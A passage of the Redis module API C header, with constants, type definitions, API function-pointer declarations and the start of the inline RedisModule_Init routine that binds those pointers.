#define REDISMODULE_KEYTYPE_HASH 3
|
||||
#define REDISMODULE_KEYTYPE_SET 4
|
||||
#define REDISMODULE_KEYTYPE_ZSET 5
|
||||
#define REDISMODULE_KEYTYPE_MODULE 6
|
||||
|
||||
/* Reply types. */
|
||||
#define REDISMODULE_REPLY_UNKNOWN -1
|
||||
#define REDISMODULE_REPLY_STRING 0
|
||||
#define REDISMODULE_REPLY_ERROR 1
|
||||
#define REDISMODULE_REPLY_INTEGER 2
|
||||
#define REDISMODULE_REPLY_ARRAY 3
|
||||
#define REDISMODULE_REPLY_NULL 4
|
||||
|
||||
/* Postponed array length. */
|
||||
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
|
||||
|
||||
/* Expire */
|
||||
#define REDISMODULE_NO_EXPIRE -1
|
||||
|
||||
/* Sorted set API flags. */
|
||||
#define REDISMODULE_ZADD_XX (1<<0)
|
||||
#define REDISMODULE_ZADD_NX (1<<1)
|
||||
#define REDISMODULE_ZADD_ADDED (1<<2)
|
||||
#define REDISMODULE_ZADD_UPDATED (1<<3)
|
||||
#define REDISMODULE_ZADD_NOP (1<<4)
|
||||
|
||||
/* Hash API flags. */
|
||||
#define REDISMODULE_HASH_NONE 0
|
||||
#define REDISMODULE_HASH_NX (1<<0)
|
||||
#define REDISMODULE_HASH_XX (1<<1)
|
||||
#define REDISMODULE_HASH_CFIELDS (1<<2)
|
||||
#define REDISMODULE_HASH_EXISTS (1<<3)
|
||||
|
||||
/* Context Flags: Info about the current context returned by
|
||||
* RM_GetContextFlags(). */
|
||||
|
||||
/* The command is running in the context of a Lua script */
|
||||
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
|
||||
/* The command is running inside a Redis transaction */
|
||||
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
|
||||
/* The instance is a master */
|
||||
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
|
||||
/* The instance is a slave */
|
||||
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
|
||||
/* The instance is read-only (usually meaning it's a slave as well) */
|
||||
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
|
||||
/* The instance is running in cluster mode */
|
||||
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
|
||||
/* The instance has AOF enabled */
|
||||
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
|
||||
/* The instance has RDB enabled */
|
||||
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
|
||||
/* The instance has Maxmemory set */
|
||||
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
|
||||
/* Maxmemory is set and has an eviction policy that may delete keys */
|
||||
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
|
||||
/* Redis is out of memory according to the maxmemory flag. */
|
||||
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
|
||||
/* Less than 25% of memory available according to maxmemory. */
|
||||
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
|
||||
|
||||
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
|
||||
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
|
||||
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
|
||||
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
|
||||
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
|
||||
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
|
||||
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
|
||||
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
|
||||
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
|
||||
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
|
||||
|
||||
|
||||
/* A special pointer that we can use between the core and the module to signal
|
||||
* field deletion, and that is impossible to be a valid pointer. */
|
||||
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
|
||||
|
||||
/* Error messages. */
|
||||
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
|
||||
|
||||
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
|
||||
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
|
||||
|
||||
/* Cluster API defines. */
|
||||
#define REDISMODULE_NODE_ID_LEN 40
|
||||
#define REDISMODULE_NODE_MYSELF (1<<0)
|
||||
#define REDISMODULE_NODE_MASTER (1<<1)
|
||||
#define REDISMODULE_NODE_SLAVE (1<<2)
|
||||
#define REDISMODULE_NODE_PFAIL (1<<3)
|
||||
#define REDISMODULE_NODE_FAIL (1<<4)
|
||||
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
|
||||
|
||||
#define REDISMODULE_CLUSTER_FLAG_NONE 0
|
||||
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
|
||||
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
|
||||
|
||||
#define REDISMODULE_NOT_USED(V) ((void) V)
|
||||
|
||||
/* This type represents a timer handle, and is returned when a timer is
|
||||
* registered and used in order to invalidate a timer. It's just a 64 bit
|
||||
* number, because this is how each timer is represented inside the radix tree
|
||||
* of timers that are going to expire, sorted by expire time. */
|
||||
typedef uint64_t RedisModuleTimerID;
|
||||
|
||||
/* ------------------------- End of common defines ------------------------ */
|
||||
|
||||
#ifndef REDISMODULE_CORE
|
||||
|
||||
typedef long long mstime_t;
|
||||
|
||||
/* Incomplete structures for compiler checks but opaque access. */
|
||||
typedef struct RedisModuleCtx RedisModuleCtx;
|
||||
typedef struct RedisModuleKey RedisModuleKey;
|
||||
typedef struct RedisModuleString RedisModuleString;
|
||||
typedef struct RedisModuleCallReply RedisModuleCallReply;
|
||||
typedef struct RedisModuleIO RedisModuleIO;
|
||||
typedef struct RedisModuleType RedisModuleType;
|
||||
typedef struct RedisModuleDigest RedisModuleDigest;
|
||||
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
|
||||
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
|
||||
typedef struct RedisModuleDict RedisModuleDict;
|
||||
typedef struct RedisModuleDictIter RedisModuleDictIter;
|
||||
|
||||
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
|
||||
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
|
||||
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
|
||||
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
|
||||
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
|
||||
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
|
||||
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
|
||||
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
|
||||
typedef void (*RedisModuleTypeFreeFunc)(void *value);
|
||||
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
|
||||
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
|
||||
|
||||
#define REDISMODULE_TYPE_METHOD_VERSION 1
|
||||
typedef struct RedisModuleTypeMethods {
|
||||
uint64_t version;
|
||||
RedisModuleTypeLoadFunc rdb_load;
|
||||
RedisModuleTypeSaveFunc rdb_save;
|
||||
RedisModuleTypeRewriteFunc aof_rewrite;
|
||||
RedisModuleTypeMemUsageFunc mem_usage;
|
||||
RedisModuleTypeDigestFunc digest;
|
||||
RedisModuleTypeFreeFunc free;
|
||||
} RedisModuleTypeMethods;
|
||||
|
||||
#define REDISMODULE_GET_API(name) \
|
||||
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
|
||||
|
||||
#define REDISMODULE_API_FUNC(x) (*x)
|
||||
|
||||
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
|
||||
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
|
||||
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
|
||||
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
|
||||
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
|
||||
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
|
||||
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
|
||||
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
|
||||
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
|
||||
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
|
||||
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
|
||||
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
|
||||
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
|
||||
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
|
||||
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
|
||||
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
|
||||
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
|
||||
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
|
||||
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
|
||||
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
|
||||
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
|
||||
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
|
||||
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
|
||||
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
|
||||
|
||||
/* Experimental APIs */
|
||||
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
|
||||
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
|
||||
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
|
||||
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
|
||||
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
|
||||
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
|
||||
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
|
||||
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
|
||||
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
|
||||
#endif
|
||||
|
||||
/* This is included inline inside each Redis module. */
|
||||
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
|
||||
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
|
||||
void *getapifuncptr = ((void**)ctx)[0];
|
||||
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
|
||||
REDISMODULE_GET_API(Alloc);
|
||||
REDISMODULE_GET_API(Calloc);
|
||||
REDISMODULE_GET_API(Free);
|
||||
REDISMODULE_GET_API(Realloc);
|
||||
REDISMODULE_GET_API(Strdup);
|
||||
REDISMODULE_GET_API(CreateCommand);
|
||||
REDISMODULE_GET_API(SetModuleAttribs);
|
||||
REDISMODULE_GET_API(IsModuleNameBusy);
|
||||
REDISMODULE_GET_API(WrongArity);
|
||||
REDISMODULE_GET_API(ReplyWithLongLong);
|
||||
REDISMODULE_GET_API(ReplyWithError);
|
||||
REDISMODULE_GET_API(ReplyWithSimpleString);
|
||||
REDISMODULE_GET_API(ReplyWithArray);
|
||||
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||
REDISMODULE_GET_API(ReplyWithStringBuffer);
|
||||
REDISMODULE_GET_API(ReplyWithString);
|
||||
REDISMODULE_GET_API(ReplyWithNull);
|
||||
REDISMODULE_GET_API(ReplyWithCallReply);
|
||||
REDISMODULE_GET_API(ReplyWithDouble);
|
||||
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||
REDISMODULE_GET_API(GetSelectedDb);
|
||||
REDISMODULE_GET_API(SelectDb);
|
||||
REDISMODULE_GET_API(OpenKey);
|
||||
REDISMODULE_GET_API(CloseKey);
|
||||
REDISMODULE_GET_API(KeyType);
|
||||
REDISMODULE_GET_API(ValueLength);
|
||||
REDISMODULE_GET_API(ListPush);
|
||||
REDISMODULE_GET_API(ListPop);
|
||||
REDISMODULE_GET_API(StringToLongLong);
|
||||
REDISMODULE_GET_API(StringToDouble);
|
||||
REDISMODULE_GET_API(Call);
|
||||
REDISMODULE_GET_API(CallReplyProto);
|
||||
REDISMODULE_GET_API(FreeCallReply);
|
||||
REDISMODULE_GET_API(CallReplyInteger);
|
||||
REDISMODULE_GET_API(CallReplyType);
|
||||
REDISMODULE_GET_API(CallReplyLength);
|
||||
REDISMODULE_GET_API(CallReplyArrayElement);
|
||||
REDISMODULE_GET_API(CallReplyStringPtr);
|
||||
REDISMODULE_GET_API(CreateStringFromCallReply);
|
||||
REDISMODULE_GET_API(CreateString);
|
||||
REDISMODULE_GET_API(CreateStringFromLongLong);
|
||||
REDISMODULE_GET_API(CreateStringFromString);
|
||||
REDISMODULE_GET_API(CreateStringPrintf);
|
||||
REDISMODULE_GET_API(FreeString);
|
||||
REDISMODULE_GET_API(StringPtrLen);
|
||||
REDISMODULE_GET_API(AutoMemory);
|
||||
REDISMODULE_GET_API(Replicate);
|
||||
REDISMODULE_GET_API(ReplicateVerbatim);
|
||||
REDISMODULE_GET_API(DeleteKey);
|
||||
REDISMODULE_GET_API(UnlinkKey);
|
||||
REDISMODULE_GET_API(StringSet);
|
||||
REDISMODULE_GET_API(StringDMA);
|
||||
REDISMODULE_GET_API(StringTruncate);
|
||||
REDISMODULE_GET_API(GetExpire);
|
||||
REDISMODULE_GET_API(SetExpire);
|
||||
